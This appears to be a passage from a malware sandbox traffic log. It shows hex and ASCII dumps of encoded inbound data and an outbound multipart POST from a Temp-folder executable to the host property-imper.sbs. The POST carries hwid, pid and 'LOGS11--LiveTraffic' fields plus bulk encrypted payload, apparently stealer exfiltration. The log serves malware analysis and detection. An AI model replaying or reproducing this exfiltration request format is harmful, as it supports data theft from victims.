2024-11-23 14:22:47 UTC	358	IN	Data Raw: 34 64 61 0d 0a 6b 43 53 2f 34 55 43 6f 58 42 35 46 49 72 62 6b 34 74 6d 62 58 53 49 31 34 46 4a 38 7a 58 76 64 79 52 66 45 44 32 48 64 73 62 7a 72 42 73 6e 44 65 70 78 77 50 44 5a 48 6c 4e 36 57 71 2b 34 34 44 68 65 42 4e 6c 37 33 48 62 79 6c 5a 4b 45 6a 51 36 76 63 6e 71 70 43 33 6f 30 7a 7a 58 41 38 49 46 71 55 33 72 6d 69 75 54 68 4d 46 39 70 77 47 61 63 5a 76 4b 56 31 70 57 51 4f 72 64 33 66 2b 45 6a 59 69 53 58 4c 4f 48 38 70 54 39 4f 42 68 37 6a 78 4d 30 74 59 69 44 39 65 34 56 6d 34 73 7a 58 2b 4c 53 79 34 78 64 33 64 52 63 79 4b 59 74 56 77 5a 57 64 48 32 4d 62 59 2b 2f 6f 34 51 46 6d 47 4e 68 65 6c 45 37 57 74 64 4b 42 6c 45 62 54 58 31 50 68 47 32 34 67 76 77 69 78 79 49 30 6a 59 68 34 32 34 75 58 45 41 55 4a 70 77 52 75 39 4b 6a 61 68 6b 74 33 Data Ascii: 4dakCS/4UCoXB5FIrbk4tmbXSI14FJ8zXvdyRfED2HdsbzrBsnDepxwPDZHlN6Wq+44DheBNl73HbylZKEjQ6vcnqpC3o0zzXA8IFqU3rmiuThMF9pwGacZvKV1pWQOrd3f+EjYiSXLOH8pT9OBh7jxM0tYiD9e4Vm4szX+LSy4xd3dRcyKYtVwZWdH2MbY+/o4QFmGNhelE7WtdKBlEbTX1PhG24gvwixyI0jYh424uXEAUJpwRu9Kjahkt3
2024-11-23 14:22:47 UTC	891	IN	Data Raw: 30 76 66 67 35 4b 77 38 44 4a 4e 56 34 38 36 45 61 77 5a 75 4b 46 2f 71 57 63 48 73 74 37 59 38 6b 61 64 7a 57 4c 4e 4a 6a 78 2f 41 50 65 44 6b 4c 7a 31 4b 51 4a 74 77 69 39 51 74 6c 6d 34 70 7a 58 2b 4c 51 75 36 30 4e 33 35 53 64 36 4c 4b 64 67 2b 62 69 46 4e 30 5a 53 47 76 76 63 31 51 30 57 49 50 68 69 73 45 4c 53 69 63 4b 46 70 51 2f 47 54 32 65 6f 47 68 63 4d 44 78 7a 56 77 4c 56 66 55 78 70 2f 31 34 48 39 48 57 38 4a 6f 58 71 73 59 75 36 70 78 71 47 4d 48 73 39 58 51 2f 30 6e 62 69 53 4c 4e 4e 48 51 76 51 64 6d 4e 6a 37 76 38 4d 6b 52 52 6a 6a 45 62 37 31 66 2f 72 47 33 6d 4e 55 4f 52 31 4e 33 67 42 4f 69 41 4c 4d 51 35 61 6d 64 66 6d 70 2f 41 76 50 56 2f 47 42 65 4d 4e 52 47 39 47 4b 32 75 65 37 52 68 42 72 6e 65 33 66 78 47 32 49 51 76 78 44 68 37 Data Ascii: 0vfg5Kw8DJNV486EawZuKF/qWcHst7Y8kadzWLNJjx/APeDkLz1KQJtwi9Qtlm4pzX+LQu60N35Sd6LKdg+biFN0ZSGvvc1Q0WIPhisELSicKFpQ/GT2eoGhcMDxzVwLVfUxp/14H9HW8JoXqsYu6pxqGMHs9XQ/0nbiSLNNHQvQdmNj7v8MkRRjjEb71f/rG3mNUOR1N3gBOiALMQ5amdfmp/AvPV/GBeMNRG9GK2ue7RhBrne3fxG2IQvxDh7
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 63 6d 78 7a 46 31 4c 6b 6e 47 6a 49 79 31 36 7a 4a 4b 55 6f 77 38 47 36 41 5a 76 71 70 37 72 47 5a 44 38 5a 50 5a 36 67 61 46 77 77 33 48 4c 6d 34 74 53 38 58 45 74 62 6a 33 4d 55 64 42 77 69 39 51 74 6c 6d 34 70 7a 58 2b 4c 51 69 35 33 39 4c 79 51 4d 2b 4e 4c 64 67 30 62 69 4e 4f 30 49 71 4f 73 76 51 77 52 55 57 47 4d 41 79 75 48 4c 69 6c 65 4c 52 6f 51 2f 47 54 32 65 6f 47 68 63 4d 59 2f 6a 6c 73 4e 6b 65 57 73 34 4f 31 39 7a 68 57 46 35 31 2b 42 2b 38 65 73 2b 73 74 35 6d 34 50 73 74 72 62 2f 56 54 58 6a 79 50 59 4f 58 55 75 53 74 57 49 6a 37 44 31 4f 6c 4a 63 6a 54 67 52 72 68 53 79 6f 48 47 6d 4c 55 33 2f 31 4d 61 79 48 70 32 69 4c 38 55 73 66 7a 59 43 34 59 57 4f 74 66 34 70 41 45 6a 4d 4b 56 36 6f 46 66 2f 7a 4e 61 64 68 44 37 37 Data Ascii: 3f92cmxzF1LknGjIy16zJKUow8G6AZvqp7rGZD8ZPZ6gaFww3HLm4tS8XEtbj3MUdBwi9Qtlm4pzX+LQi539LyQM+NLdg0biNO0IqOsvQwRUWGMAyuHLileLRoQ/GT2eoGhcMY/jlsNkeWs4O19zhWF51+B+8es+st5m4Pstrb/VTXjyPYOXUuStWIj7D1OlJcjTgRrhSyoHGmLU3/1MayHp2iL8UsfzYC4YWOtf4pAEjMKV6oFf/zNadhD77
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 64 71 49 4b 63 34 36 66 43 70 4c 32 6f 69 4a 74 2f 45 7a 52 30 57 50 4e 52 61 6c 45 4c 71 6e 65 4b 56 2f 41 4c 36 54 6b 4c 4a 42 78 63 4e 36 69 68 6c 50 45 47 4f 55 6d 63 36 69 75 54 68 4d 46 39 70 77 48 36 63 65 73 61 39 6e 71 48 38 4e 75 4e 50 59 2b 6b 37 61 6a 79 7a 45 4c 48 51 6d 51 4e 71 4a 69 4c 4c 39 50 6b 52 54 6a 6a 64 65 34 56 6d 34 73 7a 58 2b 4c 53 75 38 79 63 53 77 61 4e 61 44 4a 64 6f 6f 5a 32 64 66 6d 70 2f 41 76 50 56 2f 47 42 65 47 4f 78 53 6d 47 72 61 76 65 4b 5a 6b 44 4c 62 62 30 2f 70 55 33 49 6b 77 7a 6a 74 39 4b 45 72 51 6a 6f 79 30 39 54 74 53 58 4d 4a 2b 58 71 67 42 2f 2f 4d 31 68 6d 59 56 6e 4d 48 4d 73 6c 6d 54 6d 6d 4c 4e 4d 6a 78 2f 41 4e 32 4b 67 62 72 7a 4f 55 74 53 6a 7a 41 62 70 52 36 7a 71 33 57 6c 61 77 57 79 32 39 62 2b Data Ascii: dqIKc46fCpL2oiJt/EzR0WPNRalELqneKV/AL6TkLJBxcN6ihlPEGOUmc6iuThMF9pwH6cesa9nqH8NuNPY+k7ajyzELHQmQNqJiLL9PkRTjjde4Vm4szX+LSu8ycSwaNaDJdooZ2dfmp/AvPV/GBeGOxSmGraveKZkDLbb0/pU3Ikwzjt9KErQjoy09TtSXMJ+XqgB//M1hmYVnMHMslmTmmLNMjx/AN2KgbrzOUtSjzAbpR6zq3WlawWy29b+
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 33 50 4e 6e 63 68 54 74 57 41 6a 4c 61 35 63 51 42 51 6d 6e 42 47 37 7a 36 6c 70 6e 4f 78 66 44 61 34 30 34 2b 79 57 5a 4f 61 59 73 30 79 50 48 38 41 32 59 71 4b 74 76 77 37 53 46 43 42 4d 52 4b 72 46 4c 4b 76 66 4b 4a 6f 45 61 33 56 30 50 4a 4a 30 34 77 75 32 44 42 35 4a 30 79 55 79 4d 43 38 34 58 38 59 46 37 4d 6e 48 75 38 47 38 62 49 31 6f 57 46 44 35 35 50 52 2f 31 54 52 6a 43 4c 4c 50 58 67 73 52 39 4b 41 67 62 6a 38 50 45 56 52 67 7a 41 53 70 52 36 33 6f 58 75 72 61 77 65 35 31 5a 36 38 42 74 71 62 59 70 4a 2b 54 69 70 4f 33 59 57 47 74 75 38 58 63 52 65 64 66 67 66 76 48 72 50 72 4c 65 5a 70 43 4c 66 66 32 2f 70 44 33 49 73 6f 77 6a 46 7a 4e 55 48 62 6a 34 65 77 39 44 42 4f 55 6f 77 69 47 61 51 53 74 36 4a 37 6f 43 31 4e 2f 39 54 47 73 68 36 64 74 Data Ascii: 3PNnchTtWAjLa5cQBQmnBG7z6lpnOxfDa404+yWZOaYs0yPH8A2YqKtvw7SFCBMRKrFLKvfKJoEa3V0PJJ04wu2DB5J0yUyMC84X8YF7MnHu8G8bI1oWFD55PR/1TRjCLLPXgsR9KAgbj8PEVRgzASpR63oXurawe51Z68BtqbYpJ+TipO3YWGtu8XcRedfgfvHrPrLeZpCLff2/pD3IsowjFzNUHbj4ew9DBOUowiGaQSt6J7oC1N/9TGsh6dt
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 37 4c 30 54 61 6c 49 47 30 75 58 45 41 55 4a 70 77 52 75 38 6f 71 61 78 79 71 53 38 71 75 4d 6a 66 2b 45 58 57 6a 32 4c 56 63 47 56 6e 52 39 6a 47 32 50 76 30 4d 30 31 54 6b 44 77 65 72 78 43 34 6f 57 65 70 59 67 36 38 30 39 76 67 52 38 2b 4d 4b 63 38 39 65 43 68 50 32 49 36 4b 2b 37 64 2f 52 30 2f 43 61 46 36 44 47 71 36 68 4e 34 46 33 46 62 6a 66 7a 2f 6c 4c 30 63 4d 39 68 43 63 38 49 45 79 55 33 73 43 37 2b 44 4a 53 55 6f 4d 36 46 4b 49 52 73 4b 35 77 71 57 6b 48 74 4e 33 4d 2f 45 6e 64 68 53 6e 4c 4f 33 38 73 53 74 71 50 6b 76 75 33 66 30 64 50 77 6d 68 65 68 51 4b 2b 70 6e 6e 6b 51 77 69 70 31 4a 7a 54 53 4e 61 45 4c 74 78 2b 59 32 6c 5a 6c 49 47 4d 2b 36 46 2f 53 56 6d 4f 4d 78 6d 6e 45 62 71 72 66 71 5a 69 43 62 48 55 7a 50 68 4b 31 35 45 74 79 54 Data Ascii: 7L0TalIG0uXEAUJpwRu8oqaxyqS8quMjf+EXWj2LVcGVnR9jG2Pv0M01TkDwerxC4oWepYg6809vgR8+MKc89eChP2I6K+7d/R0/CaF6DGq6hN4F3Fbjfz/lL0cM9hCc8IEyU3sC7+DJSUoM6FKIRsK5wqWkHtN3M/EndhSnLO38sStqPkvu3f0dPwmhehQK+pnnkQwip1JzTSNaELtx+Y2lZlIGM+6F/SVmOMxmnEbqrfqZiCbHUzPhK15EtyT
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 6d 70 2f 41 76 50 56 2f 47 42 65 43 4e 42 4b 73 48 72 47 6b 65 4b 6c 71 43 4c 44 5a 30 4f 42 4a 32 49 73 75 77 6a 4e 75 4c 55 72 47 6a 34 6d 32 39 7a 64 53 56 4d 4a 2b 58 71 67 42 2f 2f 4d 31 6c 47 63 41 73 38 58 54 2f 51 62 43 7a 54 75 4b 4f 58 42 6e 47 4a 53 55 6b 72 76 79 50 30 64 5a 6b 44 45 57 6f 42 4f 2f 72 58 36 73 62 67 71 37 33 64 66 30 52 39 43 43 49 38 6f 37 66 43 35 53 32 63 62 4f 2b 2f 34 6e 41 41 2f 43 42 78 4b 6b 4b 4c 79 39 4e 62 6b 6a 47 76 2f 55 30 72 49 65 6e 59 49 77 78 7a 5a 34 4a 30 33 53 6a 59 47 36 2b 6a 39 41 56 49 49 31 46 61 41 66 75 4b 5a 2f 72 32 51 52 74 39 66 4d 38 6b 72 5a 77 32 79 4b 4f 57 52 6e 47 4a 53 32 67 37 44 31 50 30 31 43 77 69 39 51 74 6c 6d 34 70 7a 58 2b 4c 51 75 30 32 4e 6a 35 52 64 36 4e 4b 63 41 78 63 79 31 Data Ascii: mp/AvPV/GBeCNBKsHrGkeKlqCLDZ0OBJ2IsuwjNuLUrGj4m29zdSVMJ+XqgB//M1lGcAs8XT/QbCzTuKOXBnGJSUkrvyP0dZkDEWoBO/rX6sbgq73df0R9CCI8o7fC5S2cbO+/4nAA/CBxKkKLy9NbkjGv/U0rIenYIwxzZ4J03SjYG6+j9AVII1FaAfuKZ/r2QRt9fM8krZw2yKOWRnGJS2g7D1P01Cwi9Qtlm4pzX+LQu02Nj5Rd6NKcAxcy1
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 72 72 30 4e 45 77 56 67 7a 30 4f 71 46 6e 78 36 33 50 6d 4e 56 50 78 6b 39 72 6a 42 6f 58 54 63 4a 46 72 4c 33 41 51 68 70 6e 4f 6f 72 6b 70 41 41 2f 51 66 6c 36 39 57 65 66 72 4d 71 56 2f 45 62 6e 51 79 50 45 42 34 37 30 43 77 54 4a 2f 4b 30 48 54 78 73 37 37 39 6e 38 59 62 73 49 7a 44 4c 31 57 72 72 31 34 74 6d 70 50 74 38 4c 54 2f 67 61 54 77 32 37 4f 4e 58 41 69 52 38 54 4a 6b 71 76 79 4d 31 59 62 68 69 4a 65 34 56 6d 75 6f 48 71 30 59 77 54 77 77 73 6a 2f 56 74 36 47 4a 59 59 32 62 53 70 4d 6c 4d 6a 41 72 76 49 7a 52 6c 71 58 66 77 2b 35 47 71 6d 73 4f 61 35 38 44 72 4f 54 34 62 77 47 78 63 4e 36 69 67 74 2f 4b 55 37 54 6b 4a 48 32 32 54 52 4d 56 49 34 78 47 65 39 58 2f 36 30 31 2f 6a 35 4e 2f 39 66 50 73 68 36 4e 30 58 6d 66 62 53 74 33 45 73 76 49 Data Ascii: rr0NEwVgz0OqFnx63PmNVPxk9rjBoXTcJFrL3AQhpnOorkpAA/Qfl69WefrMqV/EbnQyPEB470CwTJ/K0HTxs779n8YbsIzDL1Wrr14tmpPt8LT/gaTw27ONXAiR8TJkqvyM1YbhiJe4VmuoHq0YwTwwsj/Vt6GJYY2bSpMlMjArvIzRlqXfw+5GqmsOa58DrOT4bwGxcN6igt/KU7TkJH22TRMVI4xGe9X/601/j5N/9fPsh6N0XmfbSt3EsvI
2024-11-23 14:22:47 UTC	1369	IN	Data Raw: 6b 41 44 39 46 2b 58 72 31 5a 35 2b 73 79 71 47 41 43 76 4e 33 64 34 46 54 62 67 44 54 4a 65 55 49 5a 5a 64 6d 4c 68 62 58 2b 41 58 35 32 69 43 41 54 6f 42 36 42 6c 55 4b 33 61 68 50 39 39 64 33 6b 52 5a 33 4e 59 74 4a 2b 4a 47 64 68 33 70 61 4e 74 50 35 2f 44 68 65 47 63 45 62 76 50 4c 4b 6d 63 4b 68 71 51 5a 37 5a 7a 76 39 4a 32 73 4e 73 69 6a 49 38 66 77 44 56 6a 4a 43 32 39 6a 67 4d 55 4a 67 33 58 75 46 5a 73 65 73 74 35 6d 77 4a 72 39 37 52 39 51 72 62 6a 53 79 4b 49 54 49 2b 41 4d 4c 47 32 4f 69 33 66 31 49 58 32 6e 42 5a 6f 52 53 2b 71 48 75 6c 66 78 47 35 30 4d 6a 78 41 65 4f 39 42 38 63 7a 65 53 6c 48 36 72 69 68 73 65 6b 79 54 31 44 41 45 42 6d 35 47 6f 47 56 51 72 64 71 45 2f 33 31 33 65 52 46 6e 63 31 69 30 6e 34 6b 5a 32 48 65 6c 6f 32 30 2f Data Ascii: kAD9F+Xr1Z5+syqGACvN3d4FTbgDTJeUIZZdmLhbX+AX52iCAToB6BlUK3ahP99d3kRZ3NYtJ+JGdh3paNtP5/DheGcEbvPLKmcKhqQZ7Zzv9J2sNsijI8fwDVjJC29jgMUJg3XuFZsest5mwJr97R9QrbjSyKITI+AMLG2Oi3f1IX2nBZoRS+qHulfxG50MjxAeO9B8czeSlH6rihsekyT1DAEBm5GoGVQrdqE/313eRFnc1i0n4kZ2Helo20/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49875	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:47 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=47K195F648 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578648 Host: property-imper.sbs
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 2d 2d 34 37 4b 31 39 35 46 36 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 37 4b 31 39 35 46 36 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 37 4b 31 39 35 46 36 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 37 4b 31 39 35 46 36 34 38 0d 0a 43 6f Data Ascii: --47K195F648Content-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--47K195F648Content-Disposition: form-data; name="pid"1--47K195F648Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--47K195F648Co
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 30 d7 e3 90 cd 7d ff 86 bc 00 0b 44 02 d8 8d db 34 95 46 3b b4 03 56 cc d9 ec ab b4 8b c0 46 2b 6a 65 3f f4 18 f5 4e 3b b3 f3 89 4b ac 0a d2 eb aa df fe bf 0d 46 c8 e5 1a a0 7f 68 05 33 38 10 63 42 cd 65 23 05 27 08 44 98 86 b5 c6 68 ac 47 3c 2b 8f e2 29 82 da dc 4d 09 3c 18 09 6f f1 50 ec db 2c 21 e6 41 c9 6e 01 60 93 98 6e ef 86 03 8d 72 0b 57 4c d0 51 22 cf ed 4b 20 59 65 98 2a b2 5d a4 41 f3 de f8 94 12 12 fb c5 98 25 d4 21 49 77 d8 84 22 07 07 e2 5f fe 1e 57 e6 4e 68 c6 51 2b cd 64 d4 fb 61 e9 ae 22 60 e9 c2 9d 2c 2a c6 14 9e c7 cc 51 52 b7 1a 7d 9d e5 d8 75 0e 84 4d e2 8a 5c f5 46 9d c9 88 8f ad 34 95 cc cc c0 c2 e2 cb 1a 53 6f 97 80 f7 1e 9a 16 da 9f 0f 4c fe 44 2f 6c 10 02 8c 1e 98 07 16 c9 59 43 e4 91 ba 9a af 89 5f b9 23 c6 ae ef fa 49 bc f3 ef Data Ascii: 0}D4F;VF+je?N;KFh38cBe#'DhG<+)M<oP,!An`nrWLQ"K Ye]A%!Iw"_WNhQ+da"`,QR}uM\F4SoLD/lYC_#I
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 76 1c d5 16 ec 98 0b 88 6a fc 87 a0 bf 6d bd 50 73 09 d6 d0 90 3e 19 29 3f 52 1d 03 96 52 68 c4 61 e9 a1 74 b3 bb 32 47 e1 35 e3 50 b3 58 a2 27 8e 8c 59 d0 b9 de f8 49 6f 26 4c a9 cd 0c f6 6f 31 8a 5a f9 8e 8d f2 f4 de f0 18 20 d9 33 7e 8a 9e b4 76 95 09 f2 de 43 9e 1b 7a 1a 41 fe 29 60 e7 c9 af 9a ad b4 91 e1 69 31 be 3d 64 fc d2 d2 22 c4 51 00 7f 80 f3 5c 72 fb d4 ab e6 2f 72 0c d8 df 6b be a7 27 68 6a e6 5c 64 c6 dc 47 4d 24 de 9f 94 ee f8 1d 8f 22 36 3f ab fe b9 de 24 c5 50 e6 b4 dd 21 9a 05 fe 58 6b 3c 4b 40 d5 fe 65 db fc 55 b1 3e 70 2f 7b 38 d5 69 95 34 d2 80 1a bb 0c 2c a2 a9 f8 19 fc b2 e4 af 22 e2 19 27 fb 19 f9 21 85 34 2b 6a 36 1c 3f 18 cd 7a e0 41 53 41 d5 18 45 78 5f f5 dc c2 8f 5d ce 6f d5 06 bd 52 a1 d2 8b 17 b2 5d 15 ab af ce 1d 66 1a d7 Data Ascii: vjmPs>)?RRhat2G5PX'YIo&Lo1Z 3~vCzA)`i1=d"Q\r/rk'hj\dGM$"6?$P!Xk<K@eU>p/{8i4,"'!4+j6?zASAEx_]oR]f
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: e0 4e ea 80 f5 db 9b af 2e 6e 30 8d 16 04 c0 dd 80 92 83 1f fa 15 38 38 a8 fd 30 9c 42 eb 6b 8d 48 f7 79 e8 d8 9b 95 d9 b9 5b d6 c3 d2 c2 ad 67 bc 99 0e 9c 47 82 df 55 63 46 9d 47 fe 51 aa 64 af 4f 5d 9a c3 fa 0c d2 6e b6 0e 99 3d 38 cc bd bb 57 20 4f 17 81 7d 64 44 e2 3a 5f 66 a8 7d 90 3b ca 81 b1 d3 20 5b 77 c8 ff 9a 30 58 38 2b 08 96 c3 d8 3b 81 43 9f b8 9d 31 44 d0 cf 61 d5 ec f3 f5 7b 03 ce 62 a6 eb 07 84 1c 23 2c 37 42 76 3d 04 13 3b 8e 0d e1 58 17 33 fe b5 fb 4a e5 30 e9 ab ac cf a4 8e 5e bb ec f8 47 c2 ec 60 e8 6b 22 79 d2 5f 3a b6 22 fa 00 aa 78 d6 3f d6 4d de e0 c7 9e b7 26 f8 c2 30 6b 65 90 4c d6 56 be f9 4f c6 1b 69 89 57 b9 8f 46 9b 59 cf e2 da ef e8 7d 42 e5 9d 90 2f 92 68 4f fa a2 ae aa a8 37 7f 17 00 31 b8 39 8c b8 49 95 4f f4 0e 3d ee c9 Data Ascii: N.n0880BkHy[gGUcFGQdO]n=8W O}dD:_f}; [w0X8+;C1Da{b#,7Bv=;X3J0^G`k"y_:"x?M&0keLVOiWFY}B/hO719IO=
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 16 86 bb db d1 33 2d 6a fa e0 d9 6c 8f 8c 70 0e c7 17 07 17 3c f3 97 2f e9 ef 88 22 3f 76 45 15 1a 67 30 f2 ae e0 ee 24 ee ce ec 89 5e 6a 03 40 40 16 0a 43 45 e4 c2 00 6f 46 8c de 8f 46 10 99 0c 27 88 b9 e1 64 23 7e bc af ff b5 5f 16 22 df 10 ec d9 fa 5f 11 f2 ff ba 29 e3 38 47 79 9a 03 a0 7c 93 87 9d e7 ce e6 b4 53 50 2c f2 e7 07 0f 67 ca 6e e6 f9 10 29 b5 0f 5b 33 af f1 82 c3 ea 7c 30 02 64 5c 5f d3 21 fd d7 7e 48 88 c5 63 b9 8e 6e b7 fa cd 49 6d 6d 3e fe f6 a0 ce aa e4 4c 50 9e d0 28 16 9c 85 ec b9 80 d9 2a 42 cb e5 86 0c a4 4c 2f 22 ed c3 f9 23 84 a7 ae f9 a9 01 67 f4 ca b5 89 de 4a e4 96 fc 1c 0a 74 e9 45 0c 8d 0f 90 db 2f 66 36 46 08 8d 9d be 92 06 49 09 1e 81 73 2c 8c 3e 23 e9 8a 02 89 fd e1 47 2f 9c 00 d5 5c a3 17 f9 ee 41 77 3d 25 9e 1c 0e 43 86 Data Ascii: 3-jlp</"?vEg0$^j@@CEoFF'd#~_"_)8Gy\|SP,gn)[3\|0d\_!~HcnImm>LP(*BL/"#gJtE/f6FIs,>#G/\Aw=%C
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 13 11 d0 9e 76 22 c9 b3 46 b6 86 b4 e7 54 ca 05 c1 3a 61 a0 d9 2d 44 8a df 14 fb 09 eb 74 79 e1 32 eb 91 7d 71 f7 9a 6c 9b 95 f1 fe fd f8 dc 37 b0 a4 73 f2 1e 30 32 06 f0 b2 3c d3 dd 1a 10 5c 99 d8 fd db 69 ac 26 53 a2 30 f7 18 2c ce 7f 29 75 3f fe 18 ec af 54 8a 0b 46 96 22 b5 59 fa 61 95 33 a7 a7 c9 96 d8 f9 a3 f5 8a d8 26 46 76 66 69 3c e0 71 72 e2 1c 66 19 21 34 0f 63 ae 3f 3b cc 2e 52 f1 d4 f4 e5 9c 60 7f 0f a4 68 7e 04 6d 8d c1 5d cb 4d d5 33 3c fb 96 cc df 9a 27 21 f1 08 aa f6 1e 1c 2e 49 c5 54 21 3d 4c bf 05 55 22 d0 30 a4 14 30 33 fa c3 95 eb 78 c6 21 3b 24 63 b4 28 49 47 39 78 91 53 c4 c4 1e 1f c6 74 c5 50 f1 7b fb 6d 39 e3 50 ad 42 e5 53 d2 b8 1e 0c da ad d3 82 f1 5b 9d 34 2b 7c c5 22 fd 49 54 04 c8 f8 fb dc 5f 22 ac 52 0c 08 bc 28 8e 87 f0 54 Data Ascii: v"FT:a-Dty2}ql7s02<\i&S0,)u?TF"Ya3&Fvfi<qrf!4c?;.R`h~m]M3<'!.IT!=LU"003x!;$c(IG9xStP{m9PBS[4+\|"IT_"R(T
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: 43 0f ae 53 28 61 8f 25 ea 23 5f 36 ed 0e aa ec e0 71 88 47 35 88 e6 30 dc fe 2d 0a 8f 5c 2c d7 81 f3 bd 97 2f c2 66 08 20 a5 53 97 9b 92 95 b3 3e 69 33 5a 61 c4 d9 89 0e 31 52 8d c9 97 90 72 6c 80 44 a5 fc 11 a8 fd a4 10 83 ed af 97 0c 85 0a 6e bd 8e a7 d9 ea 00 88 93 f0 99 b3 dc 97 1b ba fe dd 3e 41 1a 58 56 4f 3f e6 07 73 fa b0 01 25 10 7c 08 49 81 18 c3 51 22 a0 b1 88 b2 57 b7 f7 83 0b b9 64 e9 fd bb f6 af ab 76 0f ec 86 87 06 60 ac 01 ef d6 33 1e 35 9b 13 00 c8 65 83 a5 28 f9 c7 46 ef 6e dc e2 04 ba 5c a5 58 0d a7 92 40 51 da f0 4c 53 de 47 1d 13 12 9a e7 86 80 d7 b0 8e 85 87 cb ec 47 2e 76 c1 a0 d7 b8 08 69 31 23 30 3a f5 ee 6a fb de 38 f5 91 2c 39 c4 5d 1f 4b 6a 46 50 eb 0f 11 9e 96 5e d9 17 bc 01 ab ea d9 10 38 16 45 f9 5f 27 e4 39 39 91 ff 5d 46 Data Ascii: CS(a%#_6qG50-\,/f S>i3Za1RrlDn>AXVO?s%\|IQ"Wdv`35e(Fn\X@QLSGG.vi1#0:j8,9]KjFP^8E_'99]F
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: bf e7 61 40 db 25 cc 73 93 b0 9c 8a 80 5b 85 37 fe 3c b7 d8 1d 7e fe 34 30 07 b5 45 0f bf fa d8 8c aa d2 14 13 0e a8 f7 e9 02 a3 5f bb 83 56 02 16 71 ab 3a 5f 07 05 42 c2 c3 17 06 87 7c 10 6c a8 47 a9 b4 78 d9 6d 4e a6 a2 8c 57 e3 93 31 59 d4 30 d6 4d 49 fd b9 59 35 3f 1d c3 61 ba 19 2f 5e 9c 62 4e b7 dc 45 00 63 93 f4 a0 1f 8b d7 b7 5e 19 f1 a2 91 fa e1 ec fe 92 af 99 fd fa b1 d8 03 54 15 f6 d8 e1 f4 d3 1f 99 1e ef 43 3a da a0 db 9b c9 3f 85 2c 59 33 c9 fc 25 ef 4d dc 53 ad 4f a8 d1 ef 5f 7e 34 fc 04 b4 54 1e de f8 c7 ee 71 7a fe 39 21 d6 f0 1e 68 3b bb b7 6a 9a 4f 51 76 63 ce 70 43 c6 76 c5 4e a3 c0 7c 51 f7 65 e7 45 a7 55 dd 18 ee 66 ce 50 51 02 6b 4b 47 88 ec 4a 3a 5c f5 b0 9a 73 06 7a e5 bf be 31 14 72 05 1c 2c ab 6e f3 66 4f 3f 3c 90 5b d3 b9 a6 c3 Data Ascii: a@%s[7<~40E_Vq:_B\|lGxmNW1Y0MIY5?a/^bNEc^TC:?,Y3%MSO_~4Tqz9!h;jOQvcpCvN\|QeEUfPQkKGJ:\sz1r,nfO?<[
2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: a6 f4 d8 10 bb 5e a1 9e 2b fd b6 63 65 53 1e 8b 8f 77 0a 83 a8 cd 92 4f e1 76 ef e6 12 19 89 63 e2 73 fa 22 a1 6b 1c 67 69 b0 ee a6 0e 88 2a 04 e6 c4 7a d6 5e 5b 37 01 09 01 84 ec e9 b3 6c 13 3f a8 f4 2e d6 e7 69 ba f4 6d 07 cb 0c a7 6c 23 61 61 d8 66 b8 2a 2a e4 ec b7 ea cb 0f 94 c2 3d 37 4b 12 c8 e8 68 03 9e 98 b8 8b c9 9b 66 c6 a8 30 63 23 44 0e 7b a9 3a 05 d3 a8 57 60 11 1a f4 54 7d b3 51 fb 30 b3 49 70 c4 84 64 ae dd b4 dc a6 a6 ad ca 48 e5 65 cf 53 09 98 87 d8 02 e9 50 f7 4f c9 05 89 3a 60 c6 60 84 53 c1 34 46 ce 1d 20 1b 2b ea 4f 89 59 a2 23 cb 30 e2 c2 2f 15 61 dc 66 3b a4 a7 56 60 0b a9 f4 85 a5 ae c9 64 3a eb bd d7 64 ec c1 36 8e 52 e2 97 0f ac df 1d 12 13 42 fb fd 3e d4 01 88 69 e1 17 23 bf 26 6a 27 a1 89 f2 c8 8e 0e 8a 94 0b f1 27 bd 70 a9 ee Data Ascii: ^+ceSwOvcs"kgiz^[7l?.iml#aaf*=7Khf0c#D{:W`T}Q0IpdHeSPO:``S4F +OY#0/af;V`d:d6RB>i#&j''p
